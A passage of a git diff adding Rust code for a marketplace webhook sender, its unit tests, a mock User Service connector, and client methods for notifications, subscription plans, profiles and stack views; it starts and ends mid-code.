Some(template.name.clone()), + description: template + .short_description + .clone() + .or_else(|| template.long_description.clone()), + price: template.price, + billing_cycle: template.billing_cycle.clone(), + currency: template.currency.clone(), + vendor_user_id: Some(vendor_id.to_string()), + vendor_name: template.creator_name.clone(), + category: category_code, + tags: if let serde_json::Value::Array(_) = template.tags { + Some(template.tags.clone()) + } else { + None + }, + long_description: template.long_description.clone(), + tech_stack: if template.tech_stack != serde_json::json!({}) { + Some(template.tech_stack.clone()) + } else { + None + }, + infrastructure_requirements: if template.infrastructure_requirements + != serde_json::json!({}) + { + Some(template.infrastructure_requirements.clone()) + } else { + None + }, + creator_name: template.creator_name.clone(), + deploy_count: template.deploy_count, + view_count: template.view_count, + approved_at: template.approved_at.map(|dt| dt.to_rfc3339()), + required_plan_name: template.required_plan_name.clone(), + review_reason: None, + next_action_hint: None, + vendor_email: None, + }; + + self.send_webhook(&payload).instrument(span).await + } + + /// Send template submitted webhook to User Service. + /// Notifies the creator that their stack entered marketplace review. + pub async fn send_template_submitted( + &self, + template: &models::marketplace::StackTemplate, + vendor_id: &str, + category_code: Option, + ) -> Result { + let span = tracing::info_span!( + "send_template_submitted_webhook", + template_id = %template.id, + vendor_id = vendor_id + ); + + let payload = MarketplaceWebhookPayload { + action: "template_submitted".to_string(), + stack_template_id: template.id.to_string(), + external_id: template.id.to_string(), + code: Some(template.slug.clone()), + name: Some(template.name.clone()), + description: template + .short_description + .clone() + .or_else(|| template.long_description.clone()), + price: template.price, + billing_cycle: template.billing_cycle.clone(), + currency: template.currency.clone(), + vendor_user_id: Some(vendor_id.to_string()), + vendor_name: template.creator_name.clone(), + category: category_code, + tags: if let serde_json::Value::Array(_) = template.tags { + Some(template.tags.clone()) + } else { + None + }, + long_description: template.long_description.clone(), + tech_stack: if template.tech_stack != serde_json::json!({}) { + Some(template.tech_stack.clone()) + } else { + None + }, + infrastructure_requirements: if template.infrastructure_requirements + != serde_json::json!({}) + { + Some(template.infrastructure_requirements.clone()) + } else { + None + }, + creator_name: template.creator_name.clone(), + deploy_count: template.deploy_count, + view_count: template.view_count, + approved_at: template.approved_at.map(|dt| dt.to_rfc3339()), + required_plan_name: template.required_plan_name.clone(), + review_reason: None, + next_action_hint: None, + vendor_email: None, + }; + + self.send_webhook(&payload).instrument(span).await + } + + /// Send template update-required webhook to User Service. + pub async fn send_template_needs_changes( + &self, + template: &models::marketplace::StackTemplate, + vendor_id: &str, + review_reason: Option<&str>, + next_action_hint: &str, + ) -> Result { + let span = tracing::info_span!( + "send_template_needs_changes_webhook", + template_id = %template.id, + vendor_id = vendor_id + ); + + let payload = MarketplaceWebhookPayload { + action: "template_needs_changes".to_string(), + stack_template_id: template.id.to_string(), + external_id: template.id.to_string(), + code: Some(template.slug.clone()), + name: Some(template.name.clone()), + description: template + .short_description + .clone() + .or_else(|| template.long_description.clone()), + price: template.price, + billing_cycle: template.billing_cycle.clone(), + currency: template.currency.clone(), + vendor_user_id: Some(vendor_id.to_string()), + vendor_name: template.creator_name.clone(), + category: template.category_code.clone(), + tags: if let serde_json::Value::Array(_) = template.tags { + Some(template.tags.clone()) + } else { + None + }, + long_description: template.long_description.clone(), + tech_stack: if template.tech_stack != serde_json::json!({}) { + Some(template.tech_stack.clone()) + } else { + None + }, + infrastructure_requirements: if template.infrastructure_requirements + != serde_json::json!({}) + { + Some(template.infrastructure_requirements.clone()) + } else { + None + }, + creator_name: template.creator_name.clone(), + deploy_count: template.deploy_count, + view_count: template.view_count, + approved_at: template.approved_at.map(|dt| dt.to_rfc3339()), + required_plan_name: template.required_plan_name.clone(), + review_reason: review_reason.map(str::to_string), + next_action_hint: Some(next_action_hint.to_string()), + vendor_email: None, + }; + + self.send_webhook(&payload).instrument(span).await + } + + /// Send template review-rejected webhook to User Service. + /// This notifies the creator without invoking marketplace removal behavior. + pub async fn send_template_review_rejected( + &self, + template: &models::marketplace::StackTemplate, + vendor_id: &str, + review_reason: Option<&str>, + ) -> Result { + let span = tracing::info_span!( + "send_template_review_rejected_webhook", + template_id = %template.id, + vendor_id = vendor_id + ); + + let payload = MarketplaceWebhookPayload { + action: "template_review_rejected".to_string(), + stack_template_id: template.id.to_string(), + external_id: template.id.to_string(), + code: Some(template.slug.clone()), + name: Some(template.name.clone()), + description: template + .short_description + .clone() + .or_else(|| template.long_description.clone()), + price: template.price, + billing_cycle: template.billing_cycle.clone(), + currency: template.currency.clone(), + vendor_user_id: Some(vendor_id.to_string()), + vendor_name: template.creator_name.clone(), + category: template.category_code.clone(), + tags: if let serde_json::Value::Array(_) = template.tags { + Some(template.tags.clone()) + } else { + None + }, + long_description: template.long_description.clone(), + tech_stack: if template.tech_stack != serde_json::json!({}) { + Some(template.tech_stack.clone()) + } else { + None + }, + infrastructure_requirements: if template.infrastructure_requirements + != serde_json::json!({}) + { + Some(template.infrastructure_requirements.clone()) + } else { + None + }, + creator_name: template.creator_name.clone(), + deploy_count: template.deploy_count, + view_count: template.view_count, + approved_at: template.approved_at.map(|dt| dt.to_rfc3339()), + required_plan_name: template.required_plan_name.clone(), + review_reason: review_reason.map(str::to_string), + next_action_hint: Some( + "Review the feedback, update the stack, and submit a new revision when it is ready." + .to_string(), + ), + vendor_email: None, + }; + + self.send_webhook(&payload).instrument(span).await + } + + /// Send template rejected webhook to User Service + /// Deactivates product in User Service + pub async fn send_template_rejected( + &self, + stack_template_id: &str, + ) -> Result { + let span = tracing::info_span!( + "send_template_rejected_webhook", + template_id = stack_template_id + ); + + let payload = MarketplaceWebhookPayload { + action: "template_rejected".to_string(), + stack_template_id: stack_template_id.to_string(), + external_id: stack_template_id.to_string(), + code: None, + name: None, + description: None, + price: None, + billing_cycle: None, + currency: None, + vendor_user_id: None, + vendor_name: None, + category: None, + tags: None, + long_description: None, + tech_stack: None, + infrastructure_requirements: None, + creator_name: None, + deploy_count: None, + view_count: None, + approved_at: None, + required_plan_name: None, + review_reason: None, + next_action_hint: None, + vendor_email: None, + }; + + self.send_webhook(&payload).instrument(span).await + } + + /// Send template unpublished webhook to User Service. + /// This deactivates the marketplace listing but preserves the subscription record. + pub async fn send_template_unpublished( + &self, + template: &models::marketplace::StackTemplate, + vendor_id: &str, + ) -> Result { + let span = tracing::info_span!( + "send_template_unpublished_webhook", + template_id = %template.id, + vendor_id = vendor_id + ); + + let payload = MarketplaceWebhookPayload { + action: "template_unpublished".to_string(), + stack_template_id: template.id.to_string(), + external_id: template.id.to_string(), + code: Some(template.slug.clone()), + name: Some(template.name.clone()), + description: template + .short_description + .clone() + .or_else(|| template.long_description.clone()), + price: template.price, + billing_cycle: template.billing_cycle.clone(), + currency: template.currency.clone(), + vendor_user_id: Some(vendor_id.to_string()), + vendor_name: template.creator_name.clone(), + category: template.category_code.clone(), + tags: if let serde_json::Value::Array(_) = template.tags { + Some(template.tags.clone()) + } else { + None + }, + long_description: template.long_description.clone(), + tech_stack: if template.tech_stack != serde_json::json!({}) { + Some(template.tech_stack.clone()) + } else { + None + }, + infrastructure_requirements: if template.infrastructure_requirements + != serde_json::json!({}) + { + Some(template.infrastructure_requirements.clone()) + } else { + None + }, + creator_name: template.creator_name.clone(), + deploy_count: template.deploy_count, + view_count: template.view_count, + approved_at: template.approved_at.map(|dt| dt.to_rfc3339()), + required_plan_name: template.required_plan_name.clone(), + review_reason: None, + next_action_hint: None, + vendor_email: None, + }; + + self.send_webhook(&payload).instrument(span).await + } + + /// Internal method to send webhook with retries + async fn send_webhook( + &self, + payload: &MarketplaceWebhookPayload, + ) -> Result { + let url = format!("{}/marketplace/sync", self.config.base_url); + + let mut attempt = 0; + loop { + attempt += 1; + + let req = self + .http_client + .post(&url) + .json(payload) + .header( + "Authorization", + format!("Bearer {}", self.config.bearer_token), + ) + .header("Content-Type", "application/json"); + + match req.send().await { + Ok(resp) => match resp.status().as_u16() { + 200 | 201 => { + let text = resp + .text() + .await + .map_err(|e| ConnectorError::HttpError(e.to_string()))?; + return serde_json::from_str::(&text) + .map_err(|_| ConnectorError::InvalidResponse(text)); + } + 401 => { + return Err(ConnectorError::Unauthorized( + "Invalid service token for User Service webhook".to_string(), + )); + } + 404 => { + return Err(ConnectorError::NotFound( + "/marketplace/sync endpoint not found".to_string(), + )); + } + 500..=599 => { + // Retry on server errors + if attempt < self.config.retry_attempts { + let backoff = std::time::Duration::from_millis( + 100 * 2_u64.pow((attempt - 1) as u32), + ); + tracing::warn!( + "User Service webhook failed with {}, retrying after {:?}", + resp.status(), + backoff + ); + tokio::time::sleep(backoff).await; + continue; + } + return Err(ConnectorError::ServiceUnavailable(format!( + "User Service returned {}: webhook send failed", + resp.status() + ))); + } + status => { + return Err(ConnectorError::HttpError(format!( + "Unexpected status code: {}", + status + ))); + } + }, + Err(e) if e.is_timeout() => { + if attempt < self.config.retry_attempts { + let backoff = + std::time::Duration::from_millis(100 * 2_u64.pow((attempt - 1) as u32)); + tracing::warn!( + "User Service webhook timeout, retrying after {:?}", + backoff + ); + tokio::time::sleep(backoff).await; + continue; + } + return Err(ConnectorError::ServiceUnavailable( + "Webhook send timeout".to_string(), + )); + } + Err(e) => { + return Err(ConnectorError::HttpError(format!( + "Webhook send failed: {}", + e + ))); + } + } + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_webhook_payload_serialization() { + let payload = MarketplaceWebhookPayload { + action: "template_approved".to_string(), + stack_template_id: "550e8400-e29b-41d4-a716-446655440000".to_string(), + external_id: "550e8400-e29b-41d4-a716-446655440000".to_string(), + code: Some("ai-agent-stack-pro".to_string()), + name: Some("AI Agent Stack Pro".to_string()), + description: Some("Advanced AI agent template".to_string()), + price: Some(99.99), + billing_cycle: Some("one_time".to_string()), + currency: Some("USD".to_string()), + vendor_user_id: Some("user-456".to_string()), + vendor_name: Some("alice@example.com".to_string()), + category: Some("AI Agents".to_string()), + tags: Some(serde_json::json!(["ai", "agents"])), + long_description: None, + tech_stack: None, + creator_name: None, + deploy_count: None, + view_count: None, + approved_at: None, + required_plan_name: None, + review_reason: None, + next_action_hint: None, + vendor_email: None, + infrastructure_requirements: None, + }; + + let json = serde_json::to_string(&payload).expect("Failed to serialize"); + assert!(json.contains("template_approved")); + assert!(json.contains("ai-agent-stack-pro")); + + // Verify all fields are present + assert!(json.contains("550e8400-e29b-41d4-a716-446655440000")); + assert!(json.contains("AI Agent Stack Pro")); + assert!(json.contains("99.99")); + } + + #[test] + fn test_webhook_payload_with_rejection() { + let payload = MarketplaceWebhookPayload { + action: "template_rejected".to_string(), + stack_template_id: "550e8400-e29b-41d4-a716-446655440000".to_string(), + external_id: "550e8400-e29b-41d4-a716-446655440000".to_string(), + code: None, + name: None, + description: None, + price: None, + billing_cycle: None, + currency: None, + vendor_user_id: None, + vendor_name: None, + category: None, + tags: None, + long_description: None, + tech_stack: None, + creator_name: None, + deploy_count: None, + view_count: None, + approved_at: None, + required_plan_name: None, + review_reason: None, + next_action_hint: None, + vendor_email: None, + infrastructure_requirements: None, + }; + + let json = serde_json::to_string(&payload).expect("Failed to serialize"); + assert!(json.contains("template_rejected")); + assert!(!json.contains("ai-agent")); + } + + /// Test webhook payload for approved template action + #[test] + fn test_webhook_payload_template_approved() { + let payload = MarketplaceWebhookPayload { + action: "template_approved".to_string(), + stack_template_id: "550e8400-e29b-41d4-a716-446655440000".to_string(), + external_id: "550e8400-e29b-41d4-a716-446655440000".to_string(), + code: Some("cms-starter".to_string()), + name: Some("CMS Starter Template".to_string()), + description: Some("Complete CMS setup".to_string()), + price: Some(49.99), + billing_cycle: Some("one_time".to_string()), + currency: Some("USD".to_string()), + vendor_user_id: Some("vendor-123".to_string()), + vendor_name: Some("vendor@example.com".to_string()), + category: Some("CMS".to_string()), + tags: Some(serde_json::json!(["cms", "wordpress"])), + long_description: None, + tech_stack: None, + creator_name: None, + deploy_count: None, + view_count: None, + approved_at: None, + required_plan_name: None, + review_reason: None, + next_action_hint: None, + vendor_email: None, + infrastructure_requirements: None, + }; + + assert_eq!(payload.action, "template_approved"); + assert_eq!(payload.code, Some("cms-starter".to_string())); + assert_eq!(payload.price, Some(49.99)); + } + + /// Test webhook payload for updated template action + #[test] + fn test_webhook_payload_template_updated() { + let payload = MarketplaceWebhookPayload { + action: "template_updated".to_string(), + stack_template_id: "550e8400-e29b-41d4-a716-446655440001".to_string(), + external_id: "550e8400-e29b-41d4-a716-446655440001".to_string(), + code: Some("cms-starter".to_string()), + name: Some("CMS Starter Template v2".to_string()), + description: Some("Updated CMS setup with new features".to_string()), + price: Some(59.99), // Price updated + billing_cycle: Some("one_time".to_string()), + currency: Some("USD".to_string()), + vendor_user_id: Some("vendor-123".to_string()), + vendor_name: Some("vendor@example.com".to_string()), + category: Some("CMS".to_string()), + tags: Some(serde_json::json!(["cms", "wordpress", "v2"])), + long_description: None, + tech_stack: None, + creator_name: None, + deploy_count: None, + view_count: None, + approved_at: None, + required_plan_name: None, + review_reason: None, + next_action_hint: None, + vendor_email: None, + infrastructure_requirements: None, + }; + + assert_eq!(payload.action, "template_updated"); + assert_eq!(payload.name, Some("CMS Starter Template v2".to_string())); + assert_eq!(payload.price, Some(59.99)); + } + + /// Test webhook payload for free template + #[test] + fn test_webhook_payload_free_template() { + let payload = MarketplaceWebhookPayload { + action: "template_approved".to_string(), + stack_template_id: "550e8400-e29b-41d4-a716-446655440002".to_string(), + external_id: "550e8400-e29b-41d4-a716-446655440002".to_string(), + code: Some("basic-blog".to_string()), + name: Some("Basic Blog Template".to_string()), + description: Some("Free blog template".to_string()), + price: None, // Free template + billing_cycle: None, + currency: None, + vendor_user_id: None, + vendor_name: None, + category: Some("CMS".to_string()), + tags: Some(serde_json::json!(["blog", "free"])), + long_description: None, + tech_stack: None, + creator_name: None, + deploy_count: None, + view_count: None, + approved_at: None, + required_plan_name: None, + review_reason: None, + next_action_hint: None, + vendor_email: None, + infrastructure_requirements: None, + }; + + assert_eq!(payload.action, "template_approved"); + assert_eq!(payload.price, None); + assert_eq!(payload.billing_cycle, None); + } + + /// Test webhook sender config from environment + #[test] + fn test_webhook_sender_config_creation() { + let config = WebhookSenderConfig { + base_url: "http://user:4100".to_string(), + bearer_token: "test-token-123".to_string(), + timeout_secs: 10, + retry_attempts: 3, + }; + + assert_eq!(config.base_url, "http://user:4100"); + assert_eq!(config.bearer_token, "test-token-123"); + assert_eq!(config.timeout_secs, 10); + assert_eq!(config.retry_attempts, 3); + } + + /// Test that MarketplaceWebhookSender creates successfully + #[test] + fn test_webhook_sender_creation() { + let config = WebhookSenderConfig { + base_url: "http://user:4100".to_string(), + bearer_token: "test-token".to_string(), + timeout_secs: 10, + retry_attempts: 3, + }; + + let sender = MarketplaceWebhookSender::new(config); + // Just verify sender was created without panicking + assert!(sender.pending_webhooks.blocking_lock().is_empty()); + } + + /// Test webhook response deserialization + #[test] + fn test_webhook_response_deserialization() { + let json = serde_json::json!({ + "success": true, + "message": "Product created successfully", + "product_id": "product-123" + }); + + let response: WebhookResponse = serde_json::from_value(json).unwrap(); + assert!(response.success); + assert_eq!( + response.message, + Some("Product created successfully".to_string()) + ); + assert_eq!(response.product_id, Some("product-123".to_string())); + } + + /// Test webhook response with failure + #[test] + fn test_webhook_response_failure() { + let json = serde_json::json!({ + "success": false, + "message": "Template not found", + "product_id": null + }); + + let response: WebhookResponse = serde_json::from_value(json).unwrap(); + assert!(!response.success); + assert_eq!(response.message, Some("Template not found".to_string())); + assert_eq!(response.product_id, None); + } + + /// Test payload with all optional fields populated + #[test] + fn test_webhook_payload_all_fields_populated() { + let payload = MarketplaceWebhookPayload { + action: "template_approved".to_string(), + stack_template_id: "template-uuid".to_string(), + external_id: "external-id".to_string(), + code: Some("complex-template".to_string()), + name: Some("Complex Template".to_string()), + description: Some("A complex template with many features".to_string()), + price: Some(199.99), + billing_cycle: Some("monthly".to_string()), + currency: Some("EUR".to_string()), + vendor_user_id: Some("vendor-id".to_string()), + vendor_name: Some("John Doe".to_string()), + category: Some("Enterprise".to_string()), + tags: Some(serde_json::json!(["enterprise", "complex", "saas"])), + long_description: Some("Full enterprise description".to_string()), + tech_stack: Some(serde_json::json!({"nginx": "1.25", "postgres": "16"})), + creator_name: Some("John Doe".to_string()), + deploy_count: Some(42), + view_count: Some(1337), + approved_at: Some("2026-02-11T10:00:00Z".to_string()), + required_plan_name: Some("starter".to_string()), + review_reason: None, + next_action_hint: None, + vendor_email: None, + infrastructure_requirements: None, + }; + + // Verify all fields are accessible + assert_eq!(payload.action, "template_approved"); + assert_eq!(payload.billing_cycle, Some("monthly".to_string())); + assert_eq!(payload.currency, Some("EUR".to_string())); + assert_eq!(payload.price, Some(199.99)); + } + + /// Test payload minimal fields (only required ones) + #[test] + fn test_webhook_payload_minimal_fields() { + let payload = MarketplaceWebhookPayload { + action: "template_rejected".to_string(), + stack_template_id: "template-uuid".to_string(), + external_id: "external-id".to_string(), + code: None, + name: None, + description: None, + price: None, + billing_cycle: None, + currency: None, + vendor_user_id: None, + vendor_name: None, + category: None, + tags: None, + long_description: None, + tech_stack: None, + creator_name: None, + deploy_count: None, + view_count: None, + approved_at: None, + required_plan_name: None, + review_reason: None, + next_action_hint: None, + vendor_email: None, + infrastructure_requirements: None, + }; + + // Should serialize without errors even with all optional fields as None + let json = serde_json::to_string(&payload).expect("Should serialize"); + assert!(json.contains("template_rejected")); + assert!(json.contains("external_id")); + } +} diff --git a/stacker/stacker/src/connectors/user_service/mock.rs b/stacker/stacker/src/connectors/user_service/mock.rs new file mode 100644 index 0000000..5e8f54b --- /dev/null +++ b/stacker/stacker/src/connectors/user_service/mock.rs @@ -0,0 +1,186 @@ +use uuid::Uuid; + +use crate::connectors::errors::ConnectorError; + +use super::{ + CategoryInfo, PlanDefinition, ProductInfo, StackResponse, UserPlanInfo, UserProduct, + UserProfile, UserServiceConnector, +}; + +/// Mock User Service for testing - always succeeds +pub struct MockUserServiceConnector; + +#[async_trait::async_trait] +impl UserServiceConnector for MockUserServiceConnector { + async fn create_stack_from_template( + &self, + marketplace_template_id: &Uuid, + user_id: &str, + template_version: &str, + name: &str, + _stack_definition: serde_json::Value, + ) -> Result { + Ok(StackResponse { + id: 1, + user_id: user_id.to_string(), + name: name.to_string(), + marketplace_template_id: Some(*marketplace_template_id), + is_from_marketplace: true, + template_version: Some(template_version.to_string()), + }) + } + + async fn get_stack( + &self, + stack_id: i32, + user_id: &str, + ) -> Result { + Ok(StackResponse { + id: stack_id, + user_id: user_id.to_string(), + name: "Test Stack".to_string(), + marketplace_template_id: None, + is_from_marketplace: false, + template_version: None, + }) + } + + async fn list_stacks(&self, user_id: &str) -> Result, ConnectorError> { + Ok(vec![StackResponse { + id: 1, + user_id: user_id.to_string(), + name: "Test Stack".to_string(), + marketplace_template_id: None, + is_from_marketplace: false, + template_version: None, + }]) + } + + async fn user_has_plan( + &self, + _user_id: &str, + _required_plan_name: &str, + _user_token: Option<&str>, + ) -> Result { + // Mock always grants access for testing + Ok(true) + } + + async fn get_user_plan(&self, user_id: &str) -> Result { + Ok(UserPlanInfo { + user_id: user_id.to_string(), + plan_name: "professional".to_string(), + plan_description: Some("Professional Plan".to_string()), + tier: Some("pro".to_string()), + active: true, + started_at: Some("2025-01-01T00:00:00Z".to_string()), + expires_at: None, + }) + } + + async fn list_available_plans(&self) -> Result, ConnectorError> { + Ok(vec![ + PlanDefinition { + name: "basic".to_string(), + description: Some("Basic Plan".to_string()), + tier: Some("basic".to_string()), + features: None, + }, + PlanDefinition { + name: "professional".to_string(), + description: Some("Professional Plan".to_string()), + tier: Some("pro".to_string()), + features: None, + }, + PlanDefinition { + name: "enterprise".to_string(), + description: Some("Enterprise Plan".to_string()), + tier: Some("enterprise".to_string()), + features: None, + }, + ]) + } + + async fn get_user_profile(&self, _user_token: &str) -> Result { + Ok(UserProfile { + email: "test@example.com".to_string(), + plan: Some(serde_json::json!({ + "name": "professional", + "date_end": "2026-12-31" + })), + products: vec![ + UserProduct { + id: Some("uuid-plan-pro".to_string()), + name: "Professional Plan".to_string(), + code: "professional".to_string(), + product_type: "plan".to_string(), + external_id: None, + owned_since: Some("2025-01-01T00:00:00Z".to_string()), + }, + UserProduct { + id: Some("uuid-template-ai".to_string()), + name: "AI Agent Stack Pro".to_string(), + code: "ai-agent-stack-pro".to_string(), + product_type: "template".to_string(), + external_id: Some(100), + owned_since: Some("2025-01-15T00:00:00Z".to_string()), + }, + ], + }) + } + + async fn get_template_product( + &self, + stack_template_id: i32, + ) -> Result, ConnectorError> { + if stack_template_id == 100 { + Ok(Some(ProductInfo { + id: "uuid-product-ai".to_string(), + name: "AI Agent Stack Pro".to_string(), + code: "ai-agent-stack-pro".to_string(), + product_type: "template".to_string(), + external_id: Some(100), + price: Some(99.99), + billing_cycle: Some("one_time".to_string()), + currency: Some("USD".to_string()), + vendor_id: Some(456), + is_active: true, + })) + } else { + Ok(None) // No product for other template IDs + } + } + + async fn user_owns_template( + &self, + _user_token: &str, + stack_template_id: &str, + ) -> Result { + // Mock user owns template if ID is "100" or contains "ai-agent" + Ok(stack_template_id == "100" || stack_template_id.contains("ai-agent")) + } + + async fn get_categories(&self) -> Result, ConnectorError> { + // Return mock categories + Ok(vec![ + CategoryInfo { + id: 1, + name: "cms".to_string(), + title: "CMS".to_string(), + priority: Some(1), + }, + CategoryInfo { + id: 2, + name: "ecommerce".to_string(), + title: "E-commerce".to_string(), + priority: Some(2), + }, + CategoryInfo { + id: 5, + name: "ai".to_string(), + title: "AI Agents".to_string(), + priority: Some(5), + }, + ]) + } +} diff --git a/stacker/stacker/src/connectors/user_service/mod.rs b/stacker/stacker/src/connectors/user_service/mod.rs new file mode 100644 index 0000000..0337635 --- /dev/null +++ b/stacker/stacker/src/connectors/user_service/mod.rs @@ -0,0 +1,35 @@ +pub mod app; +pub mod category_sync; +pub mod client; +pub mod connector; +pub mod deployment_resolver; +pub mod deployment_validator; +pub mod init; +pub mod install; +pub mod marketplace_search; +pub mod marketplace_webhook; +pub mod mock; +pub mod notifications; +pub mod plan; +pub mod profile; +pub mod stack; +pub mod types; +pub mod utils; + +pub use category_sync::sync_categories_from_user_service; +pub use client::UserServiceClient; +pub use connector::UserServiceConnector; +pub use deployment_resolver::{ResolvedDeploymentInfo, UserServiceDeploymentResolver}; +pub use deployment_validator::{DeploymentValidationError, DeploymentValidator}; +pub use init::init; +pub use marketplace_webhook::{ + MarketplaceWebhookPayload, MarketplaceWebhookSender, WebhookResponse, WebhookSenderConfig, +}; +pub use mock::MockUserServiceConnector; +pub use types::{ + CategoryInfo, PlanDefinition, ProductInfo, StackResponse, UserPlanInfo, UserProduct, + UserProfile, +}; + +#[cfg(test)] +mod tests; diff --git a/stacker/stacker/src/connectors/user_service/notifications.rs b/stacker/stacker/src/connectors/user_service/notifications.rs new file mode 100644 index 0000000..4ea904c --- /dev/null +++ b/stacker/stacker/src/connectors/user_service/notifications.rs @@ -0,0 +1,142 @@ +use serde::{Deserialize, Serialize}; + +use crate::connectors::errors::ConnectorError; + +use super::UserServiceClient; + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct NotificationItem { + #[serde(rename = "_id")] + pub id: Option, + #[serde(default)] + pub title: Option, + #[serde(default)] + pub message: Option, + #[serde(default)] + pub r#type: Option, + #[serde(default)] + pub is_read: Option, + #[serde(rename = "_created")] + #[serde(default)] + pub created_at: Option, + #[serde(rename = "_updated")] + #[serde(default)] + pub updated_at: Option, + #[serde(flatten)] + pub extra: serde_json::Value, +} + +#[derive(Debug, Deserialize)] +struct NotificationsResponse { + _items: Vec, +} + +impl UserServiceClient { + pub async fn list_notifications( + &self, + bearer_token: &str, + page: Option, + max_results: Option, + ) -> Result, ConnectorError> { + let mut url = format!("{}/notifications/", self.base_url); + let mut query = Vec::new(); + + if let Some(page) = page { + query.push(format!("page={}", page)); + } + + if let Some(max_results) = max_results { + query.push(format!("max_results={}", max_results)); + } + + if !query.is_empty() { + url.push('?'); + url.push_str(&query.join("&")); + } + + let response = self + .http_client + .get(&url) + .header("Authorization", format!("Bearer {}", bearer_token)) + .send() + .await + .map_err(ConnectorError::from)?; + + if !response.status().is_success() { + let status = response.status().as_u16(); + let body = response.text().await.unwrap_or_default(); + return Err(ConnectorError::HttpError(format!( + "User Service error ({}): {}", + status, body + ))); + } + + let wrapper: NotificationsResponse = response + .json() + .await + .map_err(|e| ConnectorError::InvalidResponse(e.to_string()))?; + + Ok(wrapper._items) + } + + pub async fn mark_notification_read( + &self, + bearer_token: &str, + notification_id: i64, + is_read: bool, + ) -> Result { + let url = format!("{}/notifications/{}", self.base_url, notification_id); + + let response = self + .http_client + .patch(&url) + .header("Authorization", format!("Bearer {}", bearer_token)) + .json(&serde_json::json!({ "is_read": is_read })) + .send() + .await + .map_err(ConnectorError::from)?; + + if !response.status().is_success() { + let status = response.status().as_u16(); + let body = response.text().await.unwrap_or_default(); + return Err(ConnectorError::HttpError(format!( + "User Service error ({}): {}", + status, body + ))); + } + + response + .json::() + .await + .map_err(|e| ConnectorError::InvalidResponse(e.to_string())) + } + + pub async fn mark_all_notifications_read( + &self, + bearer_token: &str, + ) -> Result { + let url = format!("{}/notifications/mark-all-read", self.base_url); + + let response = self + .http_client + .post(&url) + .header("Authorization", format!("Bearer {}", bearer_token)) + .send() + .await + .map_err(ConnectorError::from)?; + + if !response.status().is_success() { + let status = response.status().as_u16(); + let body = response.text().await.unwrap_or_default(); + return Err(ConnectorError::HttpError(format!( + "User Service error ({}): {}", + status, body + ))); + } + + response + .json::() + .await + .map_err(|e| ConnectorError::InvalidResponse(e.to_string())) + } +} diff --git a/stacker/stacker/src/connectors/user_service/plan.rs b/stacker/stacker/src/connectors/user_service/plan.rs new file mode 100644 index 0000000..e1da657 --- /dev/null +++ b/stacker/stacker/src/connectors/user_service/plan.rs @@ -0,0 +1,91 @@ +use serde::{Deserialize, Serialize}; + +use crate::connectors::errors::ConnectorError; + +use super::UserServiceClient; + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct SubscriptionPlan { + /// Plan name (e.g., "Free", "Basic", "Plus") + pub name: Option, + + /// Plan code (e.g., "plan-free-periodically", "plan-basic-monthly") + pub code: Option, + + /// Plan features and limits. User Service may return strings or structured objects. + pub includes: Option, + + /// Expiration date (null for active subscriptions) + pub date_end: Option, + + /// Whether the plan is active (date_end is null) + pub active: Option, + + /// Price of the plan + pub price: Option, + + /// Currency (e.g., "USD") + pub currency: Option, + + /// Billing period ("month" or "year") + pub period: Option, + + /// Date of purchase + pub date_of_purchase: Option, + + /// Billing agreement ID + pub billing_id: Option, +} + +impl UserServiceClient { + /// Get user's subscription plan and limits + pub async fn get_subscription_plan( + &self, + bearer_token: &str, + ) -> Result { + // Use the /oauth_server/api/me endpoint which returns user profile including plan info + let url = format!("{}/oauth_server/api/me", self.base_url); + + let response = self + .http_client + .get(&url) + .header("Authorization", format!("Bearer {}", bearer_token)) + .send() + .await + .map_err(ConnectorError::from)?; + + if !response.status().is_success() { + let status = response.status().as_u16(); + let body = response.text().await.unwrap_or_default(); + return Err(ConnectorError::HttpError(format!( + "User Service error ({}): {}", + status, body + ))); + } + + // The response includes the user profile with "plan" field + let user_profile: serde_json::Value = response + .json() + .await + .map_err(|e| ConnectorError::InvalidResponse(e.to_string()))?; + + let plan_value = [ + user_profile.get("plan"), + user_profile.pointer("/item/plan"), + user_profile.pointer("/user/plan"), + user_profile.pointer("/profile/plan"), + user_profile.pointer("/data/plan"), + user_profile.pointer("/result/plan"), + user_profile.pointer("/_items/0/plan"), + ] + .into_iter() + .flatten() + .find(|value| !value.is_null()) + .ok_or_else(|| { + ConnectorError::InvalidResponse("No plan field in user profile".to_string()) + })?; + + serde_json::from_value(plan_value.clone()) + .map_err(|e| ConnectorError::InvalidResponse(format!("Failed to parse plan: {}", e))) + } +} diff --git a/stacker/stacker/src/connectors/user_service/profile.rs b/stacker/stacker/src/connectors/user_service/profile.rs new file mode 100644 index 0000000..d143d93 --- /dev/null +++ b/stacker/stacker/src/connectors/user_service/profile.rs @@ -0,0 +1,36 @@ +use crate::connectors::errors::ConnectorError; + +use super::UserProfile; +use super::UserServiceClient; + +impl UserServiceClient { + /// Get current user profile + pub async fn get_user_profile( + &self, + bearer_token: &str, + ) -> Result { + let url = format!("{}/auth/me", self.base_url); + + let response = self + .http_client + .get(&url) + .header("Authorization", format!("Bearer {}", bearer_token)) + .send() + .await + .map_err(ConnectorError::from)?; + + if !response.status().is_success() { + let status = response.status().as_u16(); + let body = response.text().await.unwrap_or_default(); + return Err(ConnectorError::HttpError(format!( + "User Service error ({}): {}", + status, body + ))); + } + + response + .json::() + .await + .map_err(|e| ConnectorError::InvalidResponse(e.to_string())) + } +} diff --git a/stacker/stacker/src/connectors/user_service/stack.rs b/stacker/stacker/src/connectors/user_service/stack.rs new file mode 100644 index 0000000..484df04 --- /dev/null +++ b/stacker/stacker/src/connectors/user_service/stack.rs @@ -0,0 +1,164 @@ +use serde::Deserialize; + +use crate::connectors::errors::ConnectorError; + +use super::app::Application; +use super::UserServiceClient; + +#[derive(Debug, Deserialize)] +pub(crate) struct StackViewItem { + pub(crate) code: String, + pub(crate) value: serde_json::Value, +} + +#[derive(Debug, Deserialize)] +pub(crate) struct StackViewResponse { + pub(crate) _items: Vec, +} + +impl UserServiceClient { + pub(crate) async fn search_stack_view( + &self, + bearer_token: &str, + query: Option<&str>, + ) -> Result, ConnectorError> { + let url = format!("{}/stack_view", self.base_url); + + tracing::info!("Fetching stack_view from {}", url); + let start = std::time::Instant::now(); + + // Create a dedicated client for stack_view with longer timeout (30s for large response) + // and explicit connection settings to avoid connection reuse issues + let client = reqwest::Client::builder() + .timeout(std::time::Duration::from_secs(30)) + .connect_timeout(std::time::Duration::from_secs(10)) + .http1_only() + .pool_max_idle_per_host(0) // Don't reuse connections + .build() + 